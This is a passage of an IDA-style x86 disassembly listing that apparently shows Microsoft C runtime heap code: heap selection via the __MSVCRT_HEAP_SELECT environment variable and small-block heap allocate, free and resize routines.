mov [esi+1Ch], ebp
loc_41AB4D: ; CODE XREF: sub_41AADC+12j
; sub_41AADC+30j ...
mov eax, esi
pop edi
pop esi
pop ebp
pop ebx
retn
sub_41AADC endp
; =============== S U B R O U T I N E =======================================
sub_41AB54 proc near ; CODE XREF: sub_417B9B+1Fp
; sub_41944F+126p ...
arg_0 = dword ptr 4
mov eax, dword_4CDA18
test eax, eax
jz short loc_41AB6C
push [esp+arg_0]
call eax
test eax, eax
pop ecx
jz short loc_41AB6C
push 1
pop eax
retn
; ---------------------------------------------------------------------------
loc_41AB6C: ; CODE XREF: sub_41AB54+7j
; sub_41AB54+12j
xor eax, eax
retn
sub_41AB54 endp
; =============== S U B R O U T I N E =======================================
sub_41AB6F proc near ; CODE XREF: ___:0041ACD2p
arg_0 = dword ptr 4
push esi
mov esi, [esp+4+arg_0]
push 0
and dword ptr [esi], 0
nop
call near ptr 2720E52h
cmp word ptr [eax], 5A4Dh
jnz short loc_41AB9A
mov ecx, [eax+3Ch]
test ecx, ecx
jz short loc_41AB9A
add eax, ecx
mov cl, [eax+1Ah]
mov [esi], cl
mov al, [eax+1Bh]
mov [esi+1], al
loc_41AB9A: ; CODE XREF: sub_41AB6F+15j
; sub_41AB6F+1Cj
pop esi
retn
sub_41AB6F endp
; ---------------------------------------------------------------------------
push ebp
mov ebp, esp
mov eax, 122Ch
call sub_417B30
lea eax, [ebp-98h]
push ebx
push eax
mov dword ptr [ebp-98h], 94h
nop
call near ptr 27B15DCh
test eax, eax
jz short loc_41ABDF
cmp dword ptr [ebp-88h], 2
jnz short loc_41ABDF
cmp dword ptr [ebp-94h], 5
jb short loc_41ABDF
push 1
pop eax
jmp loc_41ACE1
; ---------------------------------------------------------------------------
loc_41ABDF: ; CODE XREF: ___:0041ABC3j
; ___:0041ABCCj ...
lea eax, [ebp-122Ch]
push 1090h
push eax
push offset a__msvcrt_heap_ ; "__MSVCRT_HEAP_SELECT"
nop
call near ptr 2850000h
test eax, eax
jz loc_41ACCE
xor ebx, ebx
lea ecx, [ebp-122Ch]
cmp [ebp-122Ch], bl
jz short loc_41AC21
loc_41AC0E: ; CODE XREF: ___:0041AC1Fj
mov al, [ecx]
cmp al, 61h
jl short loc_41AC1C
cmp al, 7Ah
jg short loc_41AC1C
sub al, 20h
mov [ecx], al
loc_41AC1C: ; CODE XREF: ___:0041AC12j
; ___:0041AC16j
inc ecx
cmp [ecx], bl
jnz short loc_41AC0E
loc_41AC21: ; CODE XREF: ___:0041AC0Cj
lea eax, [ebp-122Ch]
push 16h
push eax
push offset a__global_heap_ ; "__GLOBAL_HEAP_SELECTED"
call sub_418DA0
add esp, 0Ch
test eax, eax
jnz short loc_41AC43
lea eax, [ebp-122Ch]
jmp short loc_41AC8C
; ---------------------------------------------------------------------------
loc_41AC43: ; CODE XREF: ___:0041AC39j
lea eax, [ebp-19Ch]
push 104h
push eax
push ebx
nop
call near ptr 2670000h
cmp [ebp-19Ch], bl
lea ecx, [ebp-19Ch]
jz short loc_41AC77
loc_41AC64: ; CODE XREF: ___:0041AC75j
mov al, [ecx]
cmp al, 61h
jl short loc_41AC72
cmp al, 7Ah
jg short loc_41AC72
sub al, 20h
mov [ecx], al
loc_41AC72: ; CODE XREF: ___:0041AC68j
; ___:0041AC6Cj
inc ecx
cmp [ecx], bl
jnz short loc_41AC64
loc_41AC77: ; CODE XREF: ___:0041AC62j
lea eax, [ebp-19Ch]
push eax
lea eax, [ebp-122Ch]
push eax
call sub_417880
pop ecx
pop ecx
loc_41AC8C: ; CODE XREF: ___:0041AC41j
cmp eax, ebx
jz short loc_41ACCE
push 2Ch
push eax
call sub_418F50
pop ecx
cmp eax, ebx
pop ecx
jz short loc_41ACCE
inc eax
mov ecx, eax
cmp [eax], bl
jz short loc_41ACB3
loc_41ACA5: ; CODE XREF: ___:0041ACB1j
cmp byte ptr [ecx], 3Bh
jnz short loc_41ACAE
mov [ecx], bl
jmp short loc_41ACAF
; ---------------------------------------------------------------------------
loc_41ACAE: ; CODE XREF: ___:0041ACA8j
inc ecx
loc_41ACAF: ; CODE XREF: ___:0041ACACj
cmp [ecx], bl
jnz short loc_41ACA5
loc_41ACB3: ; CODE XREF: ___:0041ACA3j
push 0Ah
push ebx
push eax
call sub_41881C
add esp, 0Ch
cmp eax, 2
jz short loc_41ACE1
cmp eax, 3
jz short loc_41ACE1
cmp eax, 1
jz short loc_41ACE1
loc_41ACCE: ; CODE XREF: ___:0041ABF8j
; ___:0041AC8Ej ...
lea eax, [ebp-4]
push eax
call sub_41AB6F
cmp byte ptr [ebp-4], 6
pop ecx
sbb eax, eax
add eax, 3
loc_41ACE1: ; CODE XREF: ___:0041ABDAj
; ___:0041ACC2j ...
pop ebx
leave
retn
; ---------------------------------------------------------------------------
dd 6AC033h, 8244439h, 100068h, 0C0940F00h, 5449E850h, 85900244h
dd 0F024A3C0h, 3674004Ch, 0FFFE93E8h, 3F883FFh, 4CF028A3h
dd 680D7500h, 3F8h, 24E8h, 0AEB5900h, 7502F883h, 0B5EE818h
dd 0C0850000h, 35FF0F75h, 4CF024h, 4452C7E8h, 0C0339002h
dd 58016AC3h, 14068C3h, 6A0000h, 0F02435FFh, 0ADE8004Ch
dd 90022F52h, 1CA3C085h, 75004CF0h, 4C8BC301h, 25830424h
dd 4CF014h, 18258300h, 4CF0h, 10A3016Ah, 89004CF0h, 4CF0200Dh
dd 805C700h, 10004CF0h, 58000000h
; ---------------------------------------------------------------------------
retn
; =============== S U B R O U T I N E =======================================
sub_41AD89 proc near ; CODE XREF: sub_417C3B+17p
; sub_41944F+4Cp ...
arg_0 = dword ptr 4
mov eax, dword_4CF018
lea ecx, [eax+eax*4]
mov eax, dword_4CF01C
lea ecx, [eax+ecx*4]
loc_41AD99: ; CODE XREF: sub_41AD89+26j
cmp eax, ecx
jnb short loc_41ADB1
mov edx, [esp+arg_0]
sub edx, [eax+0Ch]
cmp edx, 100000h
jb short locret_41ADB3
add eax, 14h
jmp short loc_41AD99
; ---------------------------------------------------------------------------
loc_41ADB1: ; CODE XREF: sub_41AD89+12j
xor eax, eax
locret_41ADB3: ; CODE XREF: sub_41AD89+21j
retn
sub_41AD89 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41ADB4 proc near ; CODE XREF: sub_417C3B+23p
; sub_41944F+A4p ...
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 10h
mov ecx, [ebp+arg_0]
push ebx
push esi
mov esi, [ebp+arg_4]
mov eax, [ecx+10h]
push edi
mov edi, esi
add esi, 0FFFFFFFCh
sub edi, [ecx+0Ch]
shr edi, 0Fh
mov ecx, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_10], ecx
mov ecx, [esi]
dec ecx
test cl, 1
mov [ebp+var_4], ecx
jnz loc_41B0D8
mov edx, [ecx+esi]
lea ebx, [ecx+esi]
mov [ebp+var_C], edx
mov edx, [esi-4]
mov [ebp+var_8], edx
mov edx, [ebp+var_C]
test dl, 1
mov [ebp+arg_4], ebx
jnz short loc_41AE8A
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41AE18
push 3Fh
pop edx
loc_41AE18: ; CODE XREF: sub_41ADB4+5Fj
mov ecx, [ebx+4]
cmp ecx, [ebx+8]
jnz short loc_41AE6C
cmp edx, 20h
jnb short loc_41AE43
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+44h], ebx
dec byte ptr [ecx]
jnz short loc_41AE64
mov ecx, [ebp+arg_0]
and [ecx], ebx
jmp short loc_41AE64
; ---------------------------------------------------------------------------
loc_41AE43: ; CODE XREF: sub_41ADB4+6Fj
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
lea ecx, [edx+eax+4]
not ebx
and [eax+edi*4+0C4h], ebx
dec byte ptr [ecx]
jnz short loc_41AE64
mov ecx, [ebp+arg_0]
and [ecx+4], ebx
loc_41AE64: ; CODE XREF: sub_41ADB4+86j
; sub_41ADB4+8Dj ...
mov ecx, [ebp+var_4]
mov ebx, [ebp+arg_4]
jmp short loc_41AE6F
; ---------------------------------------------------------------------------
loc_41AE6C: ; CODE XREF: sub_41ADB4+6Aj
mov ecx, [ebp+var_4]
loc_41AE6F: ; CODE XREF: sub_41ADB4+B6j
mov edx, [ebx+8]
mov ebx, [ebx+4]
add ecx, [ebp+var_C]
mov [edx+4], ebx
mov edx, [ebp+arg_4]
mov [ebp+var_4], ecx
mov ebx, [edx+4]
mov edx, [edx+8]
mov [ebx+8], edx
loc_41AE8A: ; CODE XREF: sub_41ADB4+56j
mov edx, ecx
sar edx, 4
dec edx
cmp edx, 3Fh
jbe short loc_41AE98
push 3Fh
pop edx
loc_41AE98: ; CODE XREF: sub_41ADB4+DFj
mov ebx, [ebp+var_8]
and ebx, 1
mov [ebp+var_C], ebx
jnz loc_41AF3B
sub esi, [ebp+var_8]
mov ebx, [ebp+var_8]
sar ebx, 4
push 3Fh
mov [ebp+arg_4], esi
dec ebx
pop esi
cmp ebx, esi
jbe short loc_41AEBD
mov ebx, esi
loc_41AEBD: ; CODE XREF: sub_41ADB4+105j
add ecx, [ebp+var_8]
mov edx, ecx
mov [ebp+var_4], ecx
sar edx, 4
dec edx
cmp edx, esi
jbe short loc_41AECF
mov edx, esi
loc_41AECF: ; CODE XREF: sub_41ADB4+117j
cmp ebx, edx
jz short loc_41AF36
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
cmp esi, [ecx+8]
jnz short loc_41AF1E
cmp ebx, 20h
jnb short loc_41AEFF
mov esi, 80000000h
mov ecx, ebx
shr esi, cl
not esi
and [eax+edi*4+44h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41AF1E
mov ecx, [ebp+arg_0]
and [ecx], esi
jmp short loc_41AF1E
; ---------------------------------------------------------------------------
loc_41AEFF: ; CODE XREF: sub_41ADB4+12Dj
lea ecx, [ebx-20h]
mov esi, 80000000h
shr esi, cl
not esi
and [eax+edi*4+0C4h], esi
dec byte ptr [ebx+eax+4]
jnz short loc_41AF1E
mov ecx, [ebp+arg_0]
and [ecx+4], esi
loc_41AF1E: ; CODE XREF: sub_41ADB4+128j
; sub_41ADB4+142j ...
mov ecx, [ebp+arg_4]
mov esi, [ecx+8]
mov ecx, [ecx+4]
mov [esi+4], ecx
mov ecx, [ebp+arg_4]
mov esi, [ecx+4]
mov ecx, [ecx+8]
mov [esi+8], ecx
loc_41AF36: ; CODE XREF: sub_41ADB4+11Dj
mov esi, [ebp+arg_4]
jmp short loc_41AF3E
; ---------------------------------------------------------------------------
loc_41AF3B: ; CODE XREF: sub_41ADB4+EDj
mov ebx, [ebp+arg_0]
loc_41AF3E: ; CODE XREF: sub_41ADB4+185j
cmp [ebp+var_C], 0
jnz short loc_41AF4C
cmp ebx, edx
jz loc_41AFCD
loc_41AF4C: ; CODE XREF: sub_41ADB4+18Ej
mov ecx, [ebp+var_10]
mov ebx, [ecx+edx*8+4]
lea ecx, [ecx+edx*8]
mov [esi+4], ebx
mov [esi+8], ecx
mov [ecx+4], esi
mov ecx, [esi+4]
mov [ecx+8], esi
mov ecx, [esi+4]
cmp ecx, [esi+8]
jnz short loc_41AFCD
mov cl, [edx+eax+4]
cmp edx, 20h
mov byte ptr [ebp+arg_4+3], cl
inc cl
mov [edx+eax+4], cl
jnb short loc_41AFA4
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41AF93
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx], ebx
loc_41AF93: ; CODE XREF: sub_41ADB4+1CFj
mov ebx, 80000000h
mov ecx, edx
shr ebx, cl
lea eax, [eax+edi*4+44h]
or [eax], ebx
jmp short loc_41AFCD
; ---------------------------------------------------------------------------
loc_41AFA4: ; CODE XREF: sub_41ADB4+1C9j
cmp byte ptr [ebp+arg_4+3], 0
jnz short loc_41AFBA
lea ecx, [edx-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+arg_0]
or [ecx+4], ebx
loc_41AFBA: ; CODE XREF: sub_41ADB4+1F4j
lea ecx, [edx-20h]
mov edx, 80000000h
shr edx, cl
lea eax, [eax+edi*4+0C4h]
or [eax], edx
loc_41AFCD: ; CODE XREF: sub_41ADB4+192j
; sub_41ADB4+1B7j ...
mov eax, [ebp+var_4]
mov [esi], eax
mov [eax+esi-4], eax
mov eax, [ebp+var_10]
dec dword ptr [eax]
jnz loc_41B0D8
mov eax, dword_4CF014
test eax, eax
jz loc_41B0CA
mov ecx, dword_4CF00C
mov esi, dword_4241B0
shl ecx, 0Fh
add ecx, [eax+0Ch]
mov ebx, 8000h
push 4000h
push ebx
push ecx
call esi
mov ecx, dword_4CF00C
mov eax, dword_4CF014
mov edx, 80000000h
shr edx, cl
or [eax+8], edx
mov eax, dword_4CF014
mov ecx, dword_4CF00C
mov eax, [eax+10h]
and dword ptr [eax+ecx*4+0C4h], 0
mov eax, dword_4CF014
mov eax, [eax+10h]
dec byte ptr [eax+43h]
mov eax, dword_4CF014
mov ecx, [eax+10h]
cmp byte ptr [ecx+43h], 0
jnz short loc_41B05B
and dword ptr [eax+4], 0FFFFFFFEh
mov eax, dword_4CF014
loc_41B05B: ; CODE XREF: sub_41ADB4+29Cj
cmp dword ptr [eax+8], 0FFFFFFFFh
jnz short loc_41B0CA
push ebx
push 0
push dword ptr [eax+0Ch]
call esi
mov eax, dword_4CF014
push dword ptr [eax+10h]
push 0
push dword_4CF024
nop
call near ptr 2700000h
mov eax, dword_4CF018
mov edx, dword_4CF01C
lea eax, [eax+eax*4]
shl eax, 2
mov ecx, eax
mov eax, dword_4CF014
sub ecx, eax
lea ecx, [ecx+edx-14h]
push ecx
lea ecx, [eax+14h]
push ecx
push eax
call sub_4182C0
mov eax, [ebp+arg_0]
add esp, 0Ch
dec dword_4CF018
cmp eax, dword_4CF014
jbe short loc_41B0C0
sub [ebp+arg_0], 14h
loc_41B0C0: ; CODE XREF: sub_41ADB4+306j
mov eax, dword_4CF01C
mov dword_4CF010, eax
loc_41B0CA: ; CODE XREF: sub_41ADB4+234j
; sub_41ADB4+2ABj
mov eax, [ebp+arg_0]
mov dword_4CF00C, edi
mov dword_4CF014, eax
loc_41B0D8: ; CODE XREF: sub_41ADB4+38j
; sub_41ADB4+227j
pop edi
pop esi
pop ebx
leave
retn
sub_41ADB4 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B0DD proc near ; CODE XREF: sub_417BC7+18p
; sub_41944F+77p ...
var_14 = dword ptr -14h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 14h
mov eax, dword_4CF018
mov edx, dword_4CF01C
push ebx
push esi
lea eax, [eax+eax*4]
push edi
lea edi, [edx+eax*4]
mov eax, [ebp+arg_0]
mov [ebp+var_4], edi
lea ecx, [eax+17h]
and ecx, 0FFFFFFF0h
mov [ebp+var_10], ecx
sar ecx, 4
dec ecx
cmp ecx, 20h
jge short loc_41B11D
or esi, 0FFFFFFFFh
shr esi, cl
or [ebp+var_8], 0FFFFFFFFh
mov [ebp+var_C], esi
jmp short loc_41B12D
; ---------------------------------------------------------------------------
loc_41B11D: ; CODE XREF: sub_41B0DD+30j
add ecx, 0FFFFFFE0h
or eax, 0FFFFFFFFh
xor esi, esi
shr eax, cl
mov [ebp+var_C], esi
mov [ebp+var_8], eax
loc_41B12D: ; CODE XREF: sub_41B0DD+3Ej
mov eax, dword_4CF010
mov ebx, eax
cmp ebx, edi
mov [ebp+arg_0], ebx
jnb short loc_41B154
loc_41B13B: ; CODE XREF: sub_41B0DD+75j
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41B154
add ebx, 14h
cmp ebx, [ebp+var_4]
mov [ebp+arg_0], ebx
jb short loc_41B13B
loc_41B154: ; CODE XREF: sub_41B0DD+5Cj
; sub_41B0DD+6Aj
cmp ebx, [ebp+var_4]
jnz short loc_41B1D2
mov ebx, edx
loc_41B15B: ; CODE XREF: sub_41B0DD+96j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41B177
mov ecx, [ebx+4]
mov edi, [ebx]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41B175
add ebx, 14h
jmp short loc_41B15B
; ---------------------------------------------------------------------------
loc_41B175: ; CODE XREF: sub_41B0DD+91j
cmp ebx, eax
loc_41B177: ; CODE XREF: sub_41B0DD+83j
jnz short loc_41B1D2
loc_41B179: ; CODE XREF: sub_41B0DD+ADj
cmp ebx, [ebp+var_4]
jnb short loc_41B18F
cmp dword ptr [ebx+8], 0
jnz short loc_41B18C
add ebx, 14h
mov [ebp+arg_0], ebx
jmp short loc_41B179
; ---------------------------------------------------------------------------
loc_41B18C: ; CODE XREF: sub_41B0DD+A5j
cmp ebx, [ebp+var_4]
loc_41B18F: ; CODE XREF: sub_41B0DD+9Fj
jnz short loc_41B1B7
mov ebx, edx
loc_41B193: ; CODE XREF: sub_41B0DD+C6j
cmp ebx, eax
mov [ebp+arg_0], ebx
jnb short loc_41B1A7
cmp dword ptr [ebx+8], 0
jnz short loc_41B1A5
add ebx, 14h
jmp short loc_41B193
; ---------------------------------------------------------------------------
loc_41B1A5: ; CODE XREF: sub_41B0DD+C1j
cmp ebx, eax
loc_41B1A7: ; CODE XREF: sub_41B0DD+BBj
jnz short loc_41B1B7
call sub_41B3E6
mov ebx, eax
test ebx, ebx
mov [ebp+arg_0], ebx
jz short loc_41B1CB
loc_41B1B7: ; CODE XREF: sub_41B0DD:loc_41B18Fj
; sub_41B0DD:loc_41B1A7j
push ebx
call sub_41B497
pop ecx
mov ecx, [ebx+10h]
mov [ecx], eax
mov eax, [ebx+10h]
cmp dword ptr [eax], 0FFFFFFFFh
jnz short loc_41B1D2
loc_41B1CB: ; CODE XREF: sub_41B0DD+D8j
xor eax, eax
jmp loc_41B3E1
; ---------------------------------------------------------------------------
loc_41B1D2: ; CODE XREF: sub_41B0DD+7Aj
; sub_41B0DD:loc_41B177j ...
mov dword_4CF010, ebx
mov eax, [ebx+10h]
mov edx, [eax]
cmp edx, 0FFFFFFFFh
mov [ebp+var_4], edx
jz short loc_41B1F9
mov ecx, [eax+edx*4+0C4h]
mov edi, [eax+edx*4+44h]
and ecx, [ebp+var_8]
and edi, esi
or ecx, edi
jnz short loc_41B230
loc_41B1F9: ; CODE XREF: sub_41B0DD+106j
mov edx, [eax+0C4h]
mov esi, [eax+44h]
and edx, [ebp+var_8]
and esi, [ebp+var_C]
and [ebp+var_4], 0
lea ecx, [eax+44h]
or edx, esi
mov esi, [ebp+var_C]
jnz short loc_41B22D
loc_41B216: ; CODE XREF: sub_41B0DD+14Ej
mov edx, [ecx+84h]
inc [ebp+var_4]
and edx, [ebp+var_8]
add ecx, 4
mov edi, esi
and edi, [ecx]
or edx, edi
jz short loc_41B216
loc_41B22D: ; CODE XREF: sub_41B0DD+137j
mov edx, [ebp+var_4]
loc_41B230: ; CODE XREF: sub_41B0DD+11Aj
mov ecx, edx
xor edi, edi
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [eax+edx*4+44h]
and ecx, esi
jnz short loc_41B259
mov ecx, [eax+edx*4+0C4h]
push 20h
and ecx, [ebp+var_8]
pop edi
loc_41B259: ; CODE XREF: sub_41B0DD+16Dj
; sub_41B0DD+183j
test ecx, ecx
jl short loc_41B262
shl ecx, 1
inc edi
jmp short loc_41B259
; ---------------------------------------------------------------------------
loc_41B262: ; CODE XREF: sub_41B0DD+17Ej
mov ecx, [ebp+var_C]
mov edx, [ecx+edi*8+4]
mov ecx, [edx]
sub ecx, [ebp+var_10]
mov esi, ecx
mov [ebp+var_8], ecx
sar esi, 4
dec esi
cmp esi, 3Fh
jle short loc_41B27F
push 3Fh
pop esi
loc_41B27F: ; CODE XREF: sub_41B0DD+19Dj
cmp esi, edi
jz loc_41B394
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41B2F0
cmp edi, 20h
jge short loc_41B2BF
mov ebx, 80000000h
mov ecx, edi
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
not ebx
mov [ebp+var_14], ebx
and ebx, [eax+ecx*4+44h]
mov [eax+ecx*4+44h], ebx
dec byte ptr [edi]
jnz short loc_41B2ED
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx], ecx
jmp short loc_41B2F0
; ---------------------------------------------------------------------------
loc_41B2BF: ; CODE XREF: sub_41B0DD+1B5j
lea ecx, [edi-20h]
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_4]
lea edi, [eax+edi+4]
lea ecx, [eax+ecx*4+0C4h]
not ebx
and [ecx], ebx
dec byte ptr [edi]
mov [ebp+var_14], ebx
jnz short loc_41B2ED
mov ebx, [ebp+arg_0]
mov ecx, [ebp+var_14]
and [ebx+4], ecx
jmp short loc_41B2F0
; ---------------------------------------------------------------------------
loc_41B2ED: ; CODE XREF: sub_41B0DD+1D6j
; sub_41B0DD+203j
mov ebx, [ebp+arg_0]
loc_41B2F0: ; CODE XREF: sub_41B0DD+1B0j
; sub_41B0DD+1E0j ...
mov ecx, [edx+8]
mov edi, [edx+4]
cmp [ebp+var_8], 0
mov [ecx+4], edi
mov ecx, [edx+4]
mov edi, [edx+8]
mov [ecx+8], edi
jz loc_41B3A0
mov ecx, [ebp+var_C]
mov edi, [ecx+esi*8+4]
lea ecx, [ecx+esi*8]
mov [edx+4], edi
mov [edx+8], ecx
mov [ecx+4], edx
mov ecx, [edx+4]
mov [ecx+8], edx
mov ecx, [edx+4]
cmp ecx, [edx+8]
jnz short loc_41B391
mov cl, [esi+eax+4]
cmp esi, 20h
mov byte ptr [ebp+arg_0+3], cl
jge short loc_41B362
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41B350
mov edi, 80000000h
mov ecx, esi
shr edi, cl
or [ebx], edi
loc_41B350: ; CODE XREF: sub_41B0DD+266j
mov edi, 80000000h
mov ecx, esi
shr edi, cl
mov ecx, [ebp+var_4]
or [eax+ecx*4+44h], edi
jmp short loc_41B391
; ---------------------------------------------------------------------------
loc_41B362: ; CODE XREF: sub_41B0DD+25Aj
inc cl
cmp byte ptr [ebp+arg_0+3], 0
mov [esi+eax+4], cl
jnz short loc_41B37B
lea ecx, [esi-20h]
mov edi, 80000000h
shr edi, cl
or [ebx+4], edi
loc_41B37B: ; CODE XREF: sub_41B0DD+28Fj
mov ecx, [ebp+var_4]
lea edi, [eax+ecx*4+0C4h]
lea ecx, [esi-20h]
mov esi, 80000000h
shr esi, cl
or [edi], esi
loc_41B391: ; CODE XREF: sub_41B0DD+24Ej
; sub_41B0DD+283j
mov ecx, [ebp+var_8]
loc_41B394: ; CODE XREF: sub_41B0DD+1A4j
test ecx, ecx
jz short loc_41B3A3
mov [edx], ecx
mov [ecx+edx-4], ecx
jmp short loc_41B3A3
; ---------------------------------------------------------------------------
loc_41B3A0: ; CODE XREF: sub_41B0DD+229j
mov ecx, [ebp+var_8]
loc_41B3A3: ; CODE XREF: sub_41B0DD+2B9j
; sub_41B0DD+2C1j
mov esi, [ebp+var_10]
add edx, ecx
lea ecx, [esi+1]
mov [edx], ecx
mov [edx+esi-4], ecx
mov esi, [ebp+var_C]
mov ecx, [esi]
test ecx, ecx
lea edi, [ecx+1]
mov [esi], edi
jnz short loc_41B3D9
cmp ebx, dword_4CF014
jnz short loc_41B3D9
mov ecx, [ebp+var_4]
cmp ecx, dword_4CF00C
jnz short loc_41B3D9
and dword_4CF014, 0
loc_41B3D9: ; CODE XREF: sub_41B0DD+2E0j
; sub_41B0DD+2E8j ...
mov ecx, [ebp+var_4]
mov [eax], ecx
lea eax, [edx+4]
loc_41B3E1: ; CODE XREF: sub_41B0DD+F0j
pop edi
pop esi
pop ebx
leave
retn
sub_41B0DD endp
; =============== S U B R O U T I N E =======================================
sub_41B3E6 proc near ; CODE XREF: sub_41B0DD+CCp
mov eax, dword_4CF018
mov ecx, dword_4CF008
push esi
push edi
xor edi, edi
cmp eax, ecx
jnz short loc_41B429
lea eax, [ecx+ecx*4+50h]
shl eax, 2
push eax
push dword_4CF01C
push edi
push dword_4CF024
nop
call near ptr 2830000h
cmp eax, edi
jz short loc_41B479
add dword_4CF008, 10h
mov dword_4CF01C, eax
mov eax, dword_4CF018
loc_41B429: ; CODE XREF: sub_41B3E6+11j
mov ecx, dword_4CF01C
push 41C4h
push 8
lea eax, [eax+eax*4]
push dword_4CF024
lea esi, [ecx+eax*4]
call near ptr 2710000h
nop
cmp eax, edi
mov [esi+10h], eax
jz short loc_41B479
push 4
push 2000h
push 100000h
push edi
nop
call near ptr 28607A2h
cmp eax, edi
mov [esi+0Ch], eax
jnz short loc_41B47D
push dword ptr [esi+10h]
push edi
push dword_4CF024
nop
call near ptr 2700000h
loc_41B479: ; CODE XREF: sub_41B3E6+30j
; sub_41B3E6+67j
xor eax, eax
jmp short loc_41B494
; ---------------------------------------------------------------------------
loc_41B47D: ; CODE XREF: sub_41B3E6+81j
or dword ptr [esi+8], 0FFFFFFFFh
mov [esi], edi
mov [esi+4], edi
inc dword_4CF018
mov eax, [esi+10h]
or dword ptr [eax], 0FFFFFFFFh
mov eax, esi
loc_41B494: ; CODE XREF: sub_41B3E6+95j
pop edi
pop esi
retn
sub_41B3E6 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B497 proc near ; CODE XREF: sub_41B0DD+DBp
var_4 = dword ptr -4
arg_0 = dword ptr 8
push ebp
mov ebp, esp
push ecx
mov ecx, [ebp+arg_0]
push ebx
push esi
push edi
mov esi, [ecx+10h]
mov eax, [ecx+8]
xor ebx, ebx
loc_41B4A9: ; CODE XREF: sub_41B497+19j
test eax, eax
jl short loc_41B4B2
shl eax, 1
inc ebx
jmp short loc_41B4A9
; ---------------------------------------------------------------------------
loc_41B4B2: ; CODE XREF: sub_41B497+14j
mov eax, ebx
push 3Fh
imul eax, 204h
pop edx
lea eax, [eax+esi+144h]
mov [ebp+var_4], eax
loc_41B4C7: ; CODE XREF: sub_41B497+3Aj
mov [eax+8], eax
mov [eax+4], eax
add eax, 8
dec edx
jnz short loc_41B4C7
mov edi, ebx
push 4
shl edi, 0Fh
add edi, [ecx+0Ch]
push 1000h
push 8000h
push edi
nop
call near ptr 28607A2h
test eax, eax
jnz short loc_41B4FA
or eax, 0FFFFFFFFh
jmp loc_41B58D
; ---------------------------------------------------------------------------
loc_41B4FA: ; CODE XREF: sub_41B497+59j
lea edx, [edi+7000h]
cmp edi, edx
ja short loc_41B540
lea eax, [edi+10h]
loc_41B507: ; CODE XREF: sub_41B497+A7j
or dword ptr [eax-8], 0FFFFFFFFh
or dword ptr [eax+0FECh], 0FFFFFFFFh
lea ecx, [eax+0FFCh]
mov dword ptr [eax-4], 0FF0h
mov [eax], ecx
lea ecx, [eax-1004h]
mov [eax+4], ecx
mov dword ptr [eax+0FE8h], 0FF0h
add eax, 1000h
lea ecx, [eax-10h]
cmp ecx, edx
jbe short loc_41B507
loc_41B540: ; CODE XREF: sub_41B497+6Bj
mov eax, [ebp+var_4]
lea ecx, [edi+0Ch]
add eax, 1F8h
push 1
pop edi
mov [eax+4], ecx
mov [ecx+8], eax
lea ecx, [edx+0Ch]
mov [eax+8], ecx
mov [ecx+4], eax
and dword ptr [esi+ebx*4+44h], 0
mov [esi+ebx*4+0C4h], edi
mov al, [esi+43h]
mov cl, al
inc cl
test al, al
mov eax, [ebp+arg_0]
mov [esi+43h], cl
jnz short loc_41B57D
or [eax+4], edi
loc_41B57D: ; CODE XREF: sub_41B497+E1j
mov edx, 80000000h
mov ecx, ebx
shr edx, cl
not edx
and [eax+8], edx
mov eax, ebx
loc_41B58D: ; CODE XREF: sub_41B497+5Ej
pop edi
pop esi
pop ebx
leave
retn
sub_41B497 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_41B592 proc near ; CODE XREF: sub_41944F+6Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 0Ch
mov ecx, [ebp+arg_0]
mov eax, [ebp+arg_8]
push ebx
push esi
push edi
mov edi, [ebp+arg_4]
mov edx, edi
lea esi, [eax+17h]
sub edx, [ecx+0Ch]
mov eax, [ecx+10h]
and esi, 0FFFFFFF0h
shr edx, 0Fh
mov ecx, edx
imul ecx, 204h
lea ecx, [ecx+eax+144h]
mov [ebp+var_C], ecx
mov ecx, [edi-4]
dec ecx
cmp esi, ecx
mov [ebp+arg_8], ecx
mov ebx, [ecx+edi-4]
lea edi, [ecx+edi-4]
mov [ebp+var_4], ebx
jle loc_41B740
test bl, 1
jnz loc_41B739
add ebx, ecx
cmp esi, ebx
jg loc_41B739
mov ecx, [ebp+var_4]
sar ecx, 4
dec ecx
cmp ecx, 3Fh
mov [ebp+var_8], ecx
jbe short loc_41B609
push 3Fh
pop ecx
mov [ebp+var_8], ecx
loc_41B609: ; CODE XREF: sub_41B592+6Fj
mov ebx, [edi+4]
cmp ebx, [edi+8]
jnz short loc_41B659
cmp ecx, 20h
jnb short loc_41B635
mov ebx, 80000000h
shr ebx, cl
mov ecx, [ebp+var_8]
lea ecx, [ecx+eax+4]
